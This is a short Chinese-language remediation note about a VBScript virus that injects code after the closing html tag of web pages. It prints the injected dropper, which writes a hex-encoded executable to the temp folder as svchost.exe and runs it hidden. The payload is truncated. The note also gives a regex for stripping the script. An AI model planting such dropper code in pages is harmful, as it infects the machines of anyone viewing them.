关于所有htm文件被插入SCRIPT Language=VBScript代码病毒的解决办法

中毒症状分析：

此病毒会在所有htm,html文件的</html>标签后面插入以下代码 如图

解决办法如下

首先重装系统是主要的，第二清除被感染的文件！

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000000(此处省略若干字符)00E8D4020015700000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

方法一

•  批量替换工具替换掉

批量替换正则

<SCRIPT Language=VBScript>(.[^\<]*)?\</SCRIPT>

方法二

• 删除所有html文件